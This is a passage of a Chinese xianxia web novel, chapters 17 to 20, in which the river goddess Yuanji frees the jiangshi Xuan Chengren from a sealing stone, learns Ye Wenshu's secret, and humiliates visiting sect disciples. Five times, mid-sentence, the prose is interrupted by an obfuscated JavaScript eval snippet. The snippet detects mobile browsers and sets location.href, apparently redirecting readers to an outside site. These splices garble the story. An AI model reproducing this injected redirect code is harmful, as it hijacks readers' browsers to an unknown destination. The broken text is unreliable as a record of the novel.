宣成仁兀得瞪大眼,嘴角发出“赫赫”的响声,不敢相信,“你,要的是……” “你的心脏。”元吉点头补充,“你保护的很好。” 先前的黑雾凝成坚不可摧的盔甲护着,若是那时动手,元吉可没把握。但是宣成仁为了找回先前的面子将黑雾尽数放出时,便是机会。 又为了防止这人挣脱,元吉又让火种锻造他的身体,在身体各处穴位留下一丝火苗。 看似没什么用处,却能在他催动黑雾时迅速吸收扩大,不给他任何机会,可谓是釜底抽薪。 “可恶!”宣成仁目眦欲裂,恨不得此时便杀了元吉。可随着心脏被抽离,他的容貌开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078526|163433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始发生巨大的变化。 下一瞬,一张带着岁月痕迹的脸出现在众人面前,与先前的阴暗可怖不同,这张脸…… 极为正气! 用阿统的话说,一看就是个德高望重之人。 祁琰的视线触及这人时,整个手颤抖了一下,即便是很快恢复了原样,也能从他眼底的神色中发现惊讶。 倒是一直害怕无助的夜文术毫不吃惊的样子。他敛眉,一言不发地走到宣成仁面前,解下自己的外袍盖在宣成仁的脸上。 原是是他对不住他。 元吉手中上一刻还攥着宣成仁的心脏,下一息,附着的黑雾被火种驱散,那颗心脏变成了一枚冰冷带着绿锈的铜质卐字牌。 元吉挑了挑眉,翻看了一会,没瞧出什么特别之处来,倒是一旁的阿统一眼得出结论。 “这是镇石,镇压封印的关键。”阿统撑着下巴,一脸不解,“他怎么成了这人的心脏?” “那得问夜文术了。” 元吉似笑非笑地看着面前有些伤感的夜文术,歪歪头,不太能明白这人给僵人脸上盖衣服是什么操作。 “元吉,这叫逝者为大,表示着重尊重。”阿统补充道。河神培养,任重而道远呢! 元吉不解,眼神带着困惑,“可他是僵人啊。” 阿统:“阿?有什么不同吗?” 元吉歪头,“僵人是活死人,即使没了心脏也不会有什么问题。” 阿统:……? 那夜文术是在? 阿统咽了口唾沫,慢慢扭头。 只见内疚不已的夜文术满眼含泪,缓缓将盖在宣成仁脸上的衣裳理平整些,“宣老,你放心!我会替你报仇的!” “不必了。”苍老的话音从底下缓缓传来。 夜文术动作一僵,蓄在眼眶中的泪水一时间没控制好滴了下去。 “哒。”在衣裳上晕染出一多小水花。 夜文术哆哆嗦嗦伸手拉着衣裳,缓缓揭开,对上一双混浊的眸子。 一息,两息,三息…… “救命啊!!!!” “我的老祖宗诶!!诈尸了!!!” 尖锐的响声冲破云霄,元吉偏头头一脸嫌弃地捂了捂耳朵,很想再次给这人禁声。 “河,河,河神大人。” 夜文术连滚带爬地朝着元吉奔来,躲在她身后,打着哆嗦,“河神大人,诈诈尸了!” “这,这这怎么回事啊?” 元吉歪歪头,兴味十足。 “这不应该问你吗?” “还不说实话?” 17. 第十七章 第十七章 “河神大人在说什么呢,我怎么听不太明白。” 夜文术神情尴尬,缩了缩脖子,试图快速在脑海中找个合适的借口。 元吉就这样看着他,对于他这种揣着明白装糊涂的做法不置可否,手中的灵石被她抛着玩。时而抛掷半空,时而坠于掌心。“哦?” 夜文术眼瞅着那颗灵石,却觉得背后发凉,好像元吉把玩的不是什么灵石而是他那颗脆弱的心脏。 心如擂鼓,他讪笑一声,默默咽了口唾沫,“河神大人,您可真冤枉我了,我真的什么都不知道。” 元吉轻笑一声收回目光,正当夜文术以为她不再追问时朗声朝后院道,“栾萱。” “我在呢河神大人。”栾萱重新梳洗一番一路小跑过来。方明珠的手极巧,原先散乱的头发梳成了双螺髻,上头点缀着朱红色的蝴蝶,瞧着格外的俏皮可爱。 栾萱目光快速从这几人身上划过,她在后院可听见了前头的动静,偏偏元吉不让她们到前头来,她便只能在后院干等着。 哥哥临走时让她听河神大人的话,这好不容易等到元吉唤她,是一刻也不敢停。 “河神大人。”栾萱行了个礼,眼神极亮。 旁边的夜文术瞧见来者不过是个小丫头,提着的那颗心放了下来。不过是个小丫头能做什么,看来这关是糊弄过去了。他松了口气,小心翼翼擦了擦额角细密的汗珠。 元吉瞥了眼夜文术,嘴角微扬,她伸出手指勾了勾示意栾萱附耳过来,“栾萱,到时候你就这样……” “是。”按下心中疑惑的栾萱点点头,望向夜文术,眼底闪过一丝同情。 “!”夜文术极为敏锐地察觉到了栾萱情绪变化,当即便打起了十二万分的精神。他往后退了一步,可还是没能明白这小丫头能干嘛? 狐疑地视线略过一旁的祁琰,只见后者神情复杂,心顿时又跳得厉害了不少。“不太妙啊。” 夜文术心下嘀咕,刚想着掐指算上一卦,却见一只蓝色的蝴蝶朝着自己翩翩飞来。 这地方会有蝴蝶? 心下的疑惑更深了些,还没得到答案,便听的“咚”的一声,夜文术整个人栽倒在地,陷入了元吉特意为他编织的幻境之中。 元吉摇摇头,将手中的灵石收回到储物镯中放起来,终究还是高估他了,本来还以为这人会反抗下。 “阁下。”苍老嘶哑的声音从耳畔传来,宣成仁缓缓起身,太久没有操控这具身体了,动作笨拙地朝着元吉行礼。“在下宣成仁,多谢阁下。” “不必。”元吉颔首,指尖轻点着那枚铜质卐字牌,“我只是想拿到它。” 宣成仁看到那枚铜质卐字牌,身体一颤不知是回想起来什么,整个人顿时苍老了许多。 脸上勉强扯出抹笑意,松垮的皮肉坠出几道深深的褶皱,“还是要谢阁下,还了宣某自由。若不是阁下出手相助,宣某现在怕还是个行尸走肉,被这枚卐字牌所操控。” 阿统傻乎乎地看了看宣成仁,又看看元吉,呆问一句,“元吉你早就知道有这个东西了啊。” 元吉语气轻飘,“没有,只是个猜测。” “……”阿统一憋,整个统臊得慌。明明它才是系统,怎么知道的东西还没宿主多。不过转念一想,还得是它有眼光,挑中了元吉。 心情由晴转阴,阿统推测,“元吉这人身上藏着好多故事,不如我们听他讲讲吧。” 刚好借着这个机会,它得好好查一查这个人身上的秘密。至少要让元吉对自己大吃一惊! “好。”元吉也有此意,她邀宣成仁在石桌前坐下,“请坐。” 宣成仁看着地上晕厥的夜文术,心下有些担忧,“阁下,夜修士他……” “他不会有事。”元吉淡然开口,“只是做个梦。” 宣成仁这才放下心来,应邀坐下,内心感慨万分,这会的他终于还有些人的模样。“多谢阁下。” “咦。”眼前突然被递过来一盏茶,宣成仁顺着那双漂亮的手望去,心下一惊,“这位是?” “天极宗大弟子,祁琰见过宣老。”祁琰颔首,虽整个人散发着疏离的气息,可还是让人觉得这人谦逊有礼,“宣老离家这么多年,想是许久没尝过宣城的青茶了,不如今日再尝尝。” “多谢。” “天极宗、祁琰。年少有为啊。”宣成仁喃喃一句,是他魔怔了,如今竟然瞧谁都像那位魔界尊者。他自嘲一笑,接过茶盏。 清亮的茶水微荡,茶香氤氲,宣成仁的眼眶顿时湿润了许多。“不知宣家现在可好?” 他被卐字牌操控的这些年,虽有心想挣脱控制回去看看,却也心有余而力不足,能勉强保有自己的意识不被吞噬,已是难事。 祁琰默了默,“宣老消失后,宣家被宣城几大家族围困,血染宣府。如今……” 他的话没说下去,宣成仁听明白了。顿时如遭雷劈,头脑发懵整个人喘不上气来,端着茶盏的手颤抖不已,他眼眶泛红,隐隐竟又有黑雾翻腾。 元吉斜睨一眼,指尖在石桌上一点。 “冷静。” 不大的声音像是一盆冷水,将宣成仁浇了个清醒。他回神过来,再次陷入了深深的自责和沉默。“都怨我当初非要……” “都是命。”他苦苦一笑,用尽全身的灵力凝于指尖朝着自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078527|163433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 额头刺去。他是僵人,只有将头摧毁了才算是真正解脱。 没了卐字牌,他便是个不能动弹的活死人,如今全靠夜文术口中的这位“河神大人”留在他体内的火种才勉强可以活动。至于原先的修为,早就烟消云散了。 祁琰神色一暗,迅速抬手拦下,“宣老?” “就让我去了吧,我如今是个废人,还不如早早去地下向列祖列宗请罪。”宣成仁一脸槁色,已无活着的希望。 元吉将手中的茶盏放回,清冷的话音在他们耳畔响起。 “你要寻死?可曾问过我?” 不大的声响,听得宣成仁心下一跳,不解问道,“阁下是何意?” 他突然想到缘故,顿时一脸歉意,双手抱拳行礼,“是宣某不周到了,宣某会寻一处清静之地,定不让阁下为难。” 死在别人家中,着实是失礼了些。 元吉似笑非笑,“阿统,从商城兑换个留影机。”先前她便看到过了,商城中的留影机能将所见所闻所感全部记录下来。 “元吉你要这个干什么?”阿统有些不解,但还是满脸肉疼的从商城中兑换了一个出来。 元吉的神力值本就不多,现在要兑换5点神力值一个的一次性留影机,它可心疼坏了。 留影机快速运转起来,眼前顿时出现了熟悉的画面。 “不多,也就十万上品灵石。” “行!我给!” 元吉摊手,“你瞧,你自己答应的。” 她环顾四周,先前的断垣残壁在好好地堆在那里,“我的墙坏了。” 宣成仁此刻心中的伤痛也散去了,他目瞪口呆地看着元吉,又看看投在半空中先前的画面。 “啊?”整个人呆滞了。 他、他现在可哪有十万上品灵石啊。 眼前一黑,宣成仁脚步虚浮,难不成这就是他当初的报应嘛。 元吉也不是不讲理的人,她衣衫褴褛,不修边幅的宣城人,思索片刻,淡淡道:“若是没有,那你便做河神庙的围墙来补偿吧。” 宣城仁脸上的肉一抖,倒吸一口凉气,这,这莫不是什么威胁。 旁侧的阿统惊得直托下巴,这,这还是他那个乖巧可人的宿主吗? 碰巧,原先安静躺在地上陷入栾萱编织的幻境中的夜文术痛苦的闷哼一声,唤了句“救命。” 宣成仁的脸色陡然一变,她方才说夜文术只是做个梦,可现在为何如此痛苦。 沉思片刻,宣成仁想自己明白这人的话音之音了。 所以这人的意思是。 倘若他还不上,便、便将他砌进墙里!? 救、救命! 18. 第十八章 第十八章 “救命!” 夜文术惊呼一声坐了起来,扯着汗湿的衣襟,喘着粗气一副惊魂未定的模样。 “我的个祖宗诶。可总算出来了。”夜文术环顾四周,察觉众人的视线落在自己身上,不由得清了清嗓子故作镇定,“咳,也就这样,没什么大不了。” 栾萱迅速将蓝色蝴蝶收回,跑到元吉身侧,满眼期待道:“我按河神大人说的都做好了。” “不错。”元吉称赞一声,从手中变出一枚颜色漂亮的上品灵石递给栾萱,“去后面玩吧。” “好耶,可以用这个变漂亮的蝴蝶了。”栾萱高兴极了,蹦蹦跳跳地朝后院跑去,手中的灵石闪烁着炫目的光彩,同时也把宣成仁的心给炫凉了。 他一声叹息,神情复杂地看着夜文术一副虚脱的模样,自己被控制了这么些年,也追杀了他这么些年,算是熟悉。 不由得生出些心心相惜之情来。 “你真的没事吗?” “应该……没事。”夜文术摸了摸脑袋,一副丈二和尚摸不着头脑的模样。应该是没事吧,就是这幻境也太不是人了些。 若不是他打不过这河神,并要站起来骂一句。 “呸,也忒缺德了!” “倒是宣老,您没事吧。”没有了那卐字牌控制,夜文术也敢靠近宣成仁了。将后者轻轻扶起,“以后您是自由了。” 宣成仁神情一僵,苦涩一笑,“以后怕是要与夜修士在墙上相见了。” 夜文术:…… 哈? “哒。” 元吉放下手中的茶盏,发出轻响。夜文术同宣成仁却被这响声吓了一跳,齐齐扭过头来。 元吉歪歪头,好整以暇地开口,“夜文术,你现在要说了吗?” 铜质的卐字牌被她夹在指尖,铜绿色的粉末染上她莹润的指腹,像是刚萃出的剧毒,诡谲骇人。 夜文术咽了口唾沫,想起自己在幻境中遇到的东西,心下止不住地发怵。 她怎么还威胁人! 河神就可以这样为所欲为吗? “我…我可是交了赎金的!”夜文术口不择言,将心底话给说了出来。 他把涂灵竹笔给了她了,她不能再对自己下手。 “涂灵竹笔?”元吉像是刚想到,她低头拿起搁在石桌上的竹笔,饶有兴致。突然她眼眸一眯,锐利的眸光直扫过去。 “是保你不死。”元吉顿了顿,“可若是日日活在幻境之中呢?” 夜文术心下发毛,却依旧倔强不从。 “你不是人吧。”元吉轻描淡写将夜文术最大的秘密说了出来。 后者顿时脸色一阵惨白,唯一知道这个秘密的宣成仁也同样脸色大变。 这人居然知道! 夜文术张嘴似乎狡辩过去,可终究还是没能说出话来。他藏了这个秘密多年,早就累了。 夜文术扯了扯嘴角,扯出抹比哭还难看的笑来,“您知道了啊。” 既然如此,他也不必藏着掖着了。 夜文术望向东方,眼神逐渐飘忽,似乎是回到了那天。 “很久之前,在一个秘境之中藏着上古神器星云镜,那星云镜据说存在于数千万年前神界,可控星云变化,与现在的所谓神器不同,是真的可以毁天灭地。” 星云镜,元吉心下一跳,只觉莫名熟悉。她挑眉并未说什么继续听着。 “它的威力太大了,被封在一处秘境,上头也下着无数的禁制封印且有四块镇石镇压。那卐字牌便是封印它的一块镇石。” “而我则是一块被遗落在星云镜旁侧的罗盘,日夜别星云镜气息的熏染着,机缘巧合下便开了灵智。” “可是有一天,沉睡多年的星云镜躁动不安,冲破了封印不见了。”说到这,夜文术眼前仿佛又出现了当时天地倾倒般的可怖场景。 “星云镜丢了,我也趁机逃到了人间。谁知道星云镜不见后,那镇石也追了出去,试图将星云镜重新封印。或者直接抹杀。” “那怎么成了追杀你。”阿统听着迫不及待追问,即便是没人能听见也忍不住问道。 怪不得当时地图上没有显示任何标记,它还以为是地图坏了担心了好一阵,没想到是这个原因啊。 夜文术沉浸于自己的叙述中,“我身上带着星云镜的气息。一次路过宣城,没想到星云镜没被人找到,镇石被人捡到了。” “镇石察觉到星云镜的气息,当即被唤醒。它锁定了我,誓要将我带回秘境,亦或是,就地抹杀。” 夜文术将故事说话,深深吸了口气,秘密说出来,身上的担子瞬间轻了许多。 他松了松肩膀,看向元吉,将选择交还给她,“这就是我的故事了。” 手中的卐字牌早已被岁月侵蚀,不知是过了多少年岁。元吉用指腹抹去上头的一点铜锈,粗糙的颗粒让她回过神来。 原来如此。 微微颔首,指尖一下又一下地点着卐字牌。她还有一个疑问。 正这时,一旁静默许久的祁琰开口。“那宣老又为何被牵扯其中。” 此话一出,元吉有些诧异,心下狐疑。 他不是一直爱装深沉,怎么对宣成仁的事感兴趣。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078528|163433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>眼见众人的视线落到他身上,宣成仁也不拿乔。夜文术都将秘密和盘托出,他也没有藏着的必要。 “镇石飞出,众人皆以为有灵宝出世,世家皆派人去追寻。老朽便是其中之一,寻着镇石消失的方向一路搜查,凑巧遇到镇石想要抹杀夜修士。” 当时的镇石威力巨大,一动便是煽动狂风巨浪。 宣成仁瞧见苦苦求生的夜文术,只当是哪个倒霉的世家子弟便出手相救。 “谁知一股魔气尾随其后偷袭了我,濒死之际,那镇石落到了我的体内,成了我的心脏。” 宣成仁因此又活了下去,可他那时实在是虚弱,整个身体便被镇石操控,成了半死不活的僵人,一路追杀夜文术。 出手相救自己之人,却因自己成了僵人。夜文术心下复杂,即便是有机会偷袭毁了那镇石也不忍下手。 镇石若不在了,宣成仁也活不成了。 夜文术纠结着,只能东躲西藏,苟活于世。 如今重提旧事,夜文术又是憋不住泪,也不嫌弃宣成仁,直接扑在他肩头嚎啕大哭。 “宣老,是我害了您啊!” “好孩子,不怪你。”宣成仁也是泪眼婆娑,拍着夜文术柔声宽慰。 好一副感人的画面,阿统看得在一旁默默哽咽着,“好可怜啊。” 元吉心中有些动容,她松开手将卐字牌丢回桌面。“如此,那你便离去吧。” 夜文术心下大喜,他还以为自己说出真相,这人便不会放过自己,没成想自己还能活着去游历人间。 “多谢河神大人。”他郑重行礼,扭身看向宣老,“如今镇石离体,宣老也算是解脱,不如同我快意游天下?” 宣成仁脸上的笑意一滞,“这,多谢夜修士好意,老朽怕是不能够了。” “为什么?!”夜文术不解。 宣成仁一张老脸隐隐浮出些红色,他羞赧道,“老朽,还欠河神大人一些灵石。” 元吉点头,为他作证。 夜文术闻言拍了拍胸脯,“当日宣老救我于危难,如今也是我投桃报李之日。宣老欠了多少灵石,我来还。” 阿统在旁边听得忍不住为他鼓掌,真是感人!感动至极! 元吉弯弯嘴角,“既然如此,那就多谢。” “十万上品灵石,直接给我便可。” 夜文术一僵,瞳孔猛地睁大,他怀疑他听错了,“多…多少??” “十万。”元吉缓缓道,“上品灵石。” 夜文术如同经历了千万年风吹日晒的顽石,在这一刻被人退下山崖。 碎了。 19. 第十九章 第十九章 日薄西山,夕阳洒落在元吉身上,像是为她披上了一层金色的薄纱。身后是漫天的霞光,元吉悠悠睁开眼呼了口气。 起风了。 “河神大人,您醒了。” 方明珠正拿着根红绳和栾萱翻花绳玩,见元吉醒了不由得高兴,“我蒸了包子,河神大人要不要尝一个。” 提到包子,栾萱不由得嘴馋起来,“燕叔给我们留了蜂蜜,加进去包子甜甜的。我去给河神大人拿!” 元吉点点头应了,她下午灌了一肚子茶,这会早就饿了。 她环顾四周,发现院子里似乎少了些什么,问道,“祁琰呢?” “祁修士啊。”方明珠眼角带着些笑意,“祁修士说收到宗门内弟子的求救信号,作为大师兄要去看一看,说让河神大人不必担心。” 元吉轻笑,“他倒是热心肠。” “是呢。”方明珠不住称赞,“祁修士看着冷冰冰不好说话,但是也是温文尔雅风度翩翩。” “说来也怪,这忘川是少有人来。怎么最近天极宗的人总爱往这跑。”方明珠忍不住嘀咕。 当初她和乌伯山也是想着这地方没人才往忘川躲,谁知最近还热闹起来了。 元吉接包子的手一顿,旋即又道,“热闹也好,忘川冷了太多年了。阿萱,去给他们几个吧。” 元吉指了指门口充当人形石狮子的两人,难得心善。把人饿坏了,她的庙就没人看着,什么小虫子都敢进来惹人心烦。 栾萱点头,快速跑去,“宣伯伯,夜叔叔,河神大人让我给你们的。” 正在地上划拉着盘算自己要写多少话本才能为自己和宣老赎身的夜文术感动不已,他早就饿得不行了。 道了声谢后忙咬了口包子,楞住了。 他扭头看了眼旁边的宣成仁,后者的眼神中也是满满的惊讶。 无他,这包子中竟然蕴藏着灵气,虽然只有一丝,却也足够让他震惊。 要知道,这灵气对于他们修行者来说是如同珍宝一般。寻常的修为者想要从天地间吸取灵气已是难事,更遑论说将灵气锁在食物中。 夜文术更惊了。一双眼睁得老大,他只知道一人可以做到。 那便是修“食”道的燕厨,可他不是早就消失了? 不,不可能是他。 夜文术一口将包子塞进嘴里,默默消化这个令人震惊的消息。同时小心翼翼地瞥了眼院内的元吉,整个人一抖。 心下由衷感叹,“若真是燕厨,那这位河神大人可真是深藏不露啊。” 正这时,几道雀跃的欢呼声从不远处传来,“就在前面!” “大师兄肯定就在那没错了!”娇羞的少女脸上带着笑意,伸手拢了拢发髻,生怕自己哪里出了差错。 六个穿着锦衣梳着漂亮发髻的女修你推我搡地往河神庙御剑飞来。一个个脸上神采奕奕,银铃般的笑声传来,不免让人也心生高兴。 元吉抬眼瞧去,如花似的美人笑得又如此灿烂,她心下一动,好整以暇地撑着头等待她们的到来。 只是后面跟着的,似乎还有几个讨厌的家伙。元吉抬起指尖,莹润富有光泽的指上火种蹭了蹭。 它也记得。 藏在人群后头的东方华脖子一缩,背后发凉。他恶狠狠地盯着河神庙。勾起嘴角,目光扫过前面的师姐师妹,冷哼一声。 “这几个师姐师妹可不是好惹的,够你吃一壶,也好我报仇了。” 东方华偶然听闻有弟子说祁琰和河神有着不清不楚的关系,立马就想的了这个办法。 他这几个师姐师妹,平日可是受尽了宠爱,娇纵不堪。她们对祁琰师兄可是万分的狂热,若是让他们知道祁琰师兄和你有那种关系,看她们不生吞活剥了你。 他缓缓扫过面前的几位女修,掩去眼底的不屑,轻声道,“我们快去找大师兄吧。” 几位女修相视一笑,收敛了脸上的表情,快步跑向河神庙,边跑边喊,“大师兄!你在吗?大师兄?” 门口充当人形石狮子的夜文术一脸懵地掰开包子,将一半递给宣成仁后,努力板着脸将人拦下。 “你找谁?” “你又是谁?”漂亮的柳叶眉一蹙,黄黎有些不悦,“我来找我大师兄,快快让开,不然有你好果子吃!” “就是,快让来。”身后的女修应声附和,更有甚者瞥见他手中的包子,嗤笑一声。“我赏你点灵石去买点像样的吃食吧,别出来丢人了。” 尖酸刻薄的话听得夜文术眉头一皱,他看着手中的包子,这不挺好的。 不过,他眼神一亮,“你给我多少灵石?十万行吗?” “你!戏弄我?”那人脸色铁青,伸手就要幻化出武器将人揍一顿。 黄黎赶忙将人拦下,“师妹冷静,我们是来找师兄的。” 后者立马恢复了平静,刚想不理会,便听夜文术又小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078529|163433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声嘀咕,“看来也没十万上品灵石,装什么大气。” 顿时她气得太阳穴突突的疼,恨不得一刀将人砍了。 “师妹!” 听见他们几人的争吵,元吉眼眸垂了垂,纤长的睫毛遮住了落日的余晖,投下一片光影让人看不清眼底的神色。 “让她们进来吧。”清冷的话音响声,夜文术如像躲避瘟神似的快速闪到一边。 如此看来,还是河神大人好些。 毕竟长痛不如短痛。河神只会一下子要了你的命,而不像这群女修在你耳边吵个不停。 “哼。”那女修冲着夜文术翻了个白眼,快步朝庙内走去,像只斗胜了的孔雀。 元吉冷眼瞧着她们一个个从大门进来,有些惊讶地挑眉,“她们还这是听话。这围墙都塌了还坚持从大门进,也是难得。” 阿统:…… 元吉你这是在夸她们还是损她们? “大师兄呢?”嚣张跋扈惯了的洛秋水一来便趾高气扬地睨着元吉。 元吉并不言语,只是定定地撑着头瞧她,看得几人心下发毛。 “喂,我是天极宗弟子黄黎,你是谁!”黄黎看着眼前这个虽未张开,一身简单穿着不施粉黛却面容姣好,气质出尘的少女,心中隐隐有些不安。 闻着空气中淡淡的甜香,元吉眼尾往上一挑来了兴致,“河神,元吉。” 门口的夜文术杵了杵宣成仁的胳膊,小声叨叨,“河神大人告诉她的名字了吗?” 怎么他把所有秘密都告诉了河神,结果河神大人连名字都不告诉他。 一旁的宣成仁淡笑,“或许河神大人自有打算。” “你就是河神。”黄黎想到了宗门里的风言风语,上下打量了她一番,拧着眉,“也没看出什么特别阿。” 况且这地方这么破烂,想来也没什么本事,只是按了个名头唬人罢了。 “你起来,我们来打一架。” 黄黎想的头疼不想动脑,直接拔出腰间的长刀,不如武力值定胜负。 “赢了大师兄便归你,输了你就离大师兄远远的。” 身后立马响起叽叽喳喳的附和声,仿佛声音越大,气势越大,胜算也就越大。 简单粗暴的手段,元吉向来欣赏,只是若是无辜被牵连进来,她也是不愿的。 她稍稍挺直身子,指尖摩挲两下弹走上头的灰尘。 “嘘。” “太吵了。” 20. 第二十章 第二十章 “你!” 黄黎也没见过这种反应的,一时间不知道该说什么,下意识慌乱回首望向洛秋水。“师姐。” 这,这人为何一点不慌?莫不是隐藏了什么实力? 黄黎有些犹豫,突然,耳畔响起一道极小的讨论声,“这人处变不惊,怪不得大师兄对她另眼相看。换我,我也……” 意犹未尽的话语格外引人多思,黄黎脸上的犹豫立即被愤怒所替代,握着长刀的手绷劲,显出漂亮的弧度。 整个河神庙的动静都在元吉的眼皮子底下,这话她也一字不差地听了去。瞧着说完这话便躲在后头缩头回去的东方华,元吉扯了扯嘴角,只觉得有意思。 这人的记性似乎不太好,居然又跑到她眼前来了。 身侧的洛秋水顿了顿,显然也听到了这话。然她并未多说什么,只斜眼睨了眼东方华,眼神轻蔑。 洛秋水收回目光,嘴角抿成一条直线,意味复杂地盯着元吉,面色不虞道:“师妹,别和她多废话,直接动手。” 黄黎得了鼓励,当即提起长刀朝着元吉刺去,满脸的志在必得。 这人看起来弱不禁风,她赢定了! 阿统看着那几人跃跃欲试一脸看好戏的模样,小声提醒,“元吉,这几人之间,似乎嫌隙也不小。” 元吉眼角位挑,摇摇头,叹了口气,愚蠢的美人,确实是把好刀。 黄黎的速度极快,手中的长刀是她师尊特别为她打造的上品灵器,削铁如泥,对付这样一个迷惑大师兄的人绰绰有余。 “受死吧!” 上品灵器的威压来势汹汹,光是一劈便有撕破苍穹的气势。任谁挡在其前头都得掂量下后果。 谁知,这长刀还没碰到元吉,只听得“唰”的几声,原先落在地上不知被人踩了多少次的符箓兀得飘到空中将几人围了起来。 这符箓是天极宗所制,质量确实不错,即便是有些破破烂烂居然还能用。 骤然被数十道符咒所包围,跋扈的女修中便有人慌了,咽了咽口水躲在师姐身后,“师姐,怎么办。” “小心!”洛秋水提醒一声,抽出腰间的软鞭将几位师妹护在身后,紧紧盯着元吉的动作,“小心有诈。” 元吉满意地抛了抛手中的灵石,上次试了缚灵咒,这次试哪个呢? 她瞥见藏在几人身后如同缩头乌龟的东方华,薄唇轻启。 “火来。” 飘在空中的火云符箓亮了亮,数十道比碗口还粗的火蛇交错着冲向那几个女修士。 顿时尖叫声四起。 瞳孔猛的一缩,原本砍向元吉的长刀调转方向将直冲自己的火蛇斩断,只留下脸色不好看的黄黎。“卑鄙!” 元吉蹙眉揉了揉耳朵,神情复杂地看着面前的几位女修慌乱地召唤出自己的武器抵御火蛇,欲言又止。 “她们没发现这火不是冲着她们去的吗?”阿统在身侧幽幽道,“都没碰到他们一下诶!” 被火燎了一身好不容易将火灭完、灰头土脸的东方华,看着面前几位没伤到半分的女修,恶狠狠地咬着牙。 “运气还真好。”他压低嗓音,教唆道,“师姐,不要让她太得意了。” 元吉换了个坐姿,用手抵着下巴思索一会,轻声道,“雷来。” 奔雷符应声而起。 滋滋啦啦的雷火速度极快,整个人群中电光闪烁,尖叫声此起彼伏好不热闹。 蹲在门口的夜文术瞧着这个电闪雷鸣、火花与电花齐飞的画面,背后一颤,下意识捏紧了手中的包子,感慨到,“如此,河神大人对我还挺手下留情?” 他只是被关在那个幻境之中,至少身上没有任何损伤,不像那人这般凄惨。 这得是焦了吧。 夜文术沾沾自喜地咬了口包子,莫名地自豪起来。 被雷击地趴在地上,浑身漆黑已经看不出原样地东方华默默咽下一口老血,恶狠狠地目光也充斥着怀疑和不解。 怎么倒霉的总是他? 难不成真的是他身手太差了些? 东方华看着惊慌失措但是没受一点伤的师姐妹,再一看自己一动就往下簌簌掉灰渣的自己,一时间陷入了怀疑。 不等他反应过来,又是从天而降的巨石、冰雹…… 东方华:…… 呵,他瞧出来了,这人就是故意的! 他抬头朝着元吉瞪去,不由得对上了一双似笑非笑的眸子,心中一颤。 东方华艰难起身,拭去嘴角的血沫,咬牙切齿道,“师姐们,这人就是在戏弄我们,莫要在和她玩了,早些找到大师兄才是正经。” 一提到祁琰,几名女修当即想起自己来的目的,不由沉下脸,“这人确实就是在戏弄我们。让我们以这狼狈幅模样出现在大师兄面前,好歹毒的心肠!” 不过她一扭头,猛的瞧见身后多了快“木炭”不由得被吓了一跳,“咦,东方师弟,你这是怎么了?” 东方华:……呵呵。 元吉玩够了,百无聊赖地打了个哈欠。“你们要的大师兄不在我这。” 洛秋水与黄黎面面相觑一眼,她已发现此人实力深不可测,便收了几分傲慢。 她对黄黎使了个眼色,道:“既然如此,便不打扰前辈了,我们走。” 言罢,洛秋水对着元吉行了个礼,见元吉不阻拦带着人又从大门出去了。 几人一走,院内又恢复了一开始的安静。元吉将目光从几人身上收回落在掌心的灵石上,她方才有个念头。 灵力催动符箓能爆发一定的威力,若是以灵力摧动灵力又会如何? 还没等它想个明白,阿统不解开口,“元吉你就让她们这样走了?不把人留下来?” 就这样把前来挑衅的人轻飘飘放走了,这还是它那个宿主? 阿统的表情很严肃。 元吉感受到它的不解,歪歪头,“我只是按照阿统你说的做了,神爱世人。” 言罢,她又低头摆弄起掌心的灵石来,\"况且,还不到时候。\" “啊?”阿统一头雾水。 元吉摇头,“没什么。” 河神庙外,一行离去的人在忘川边停下。 “师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 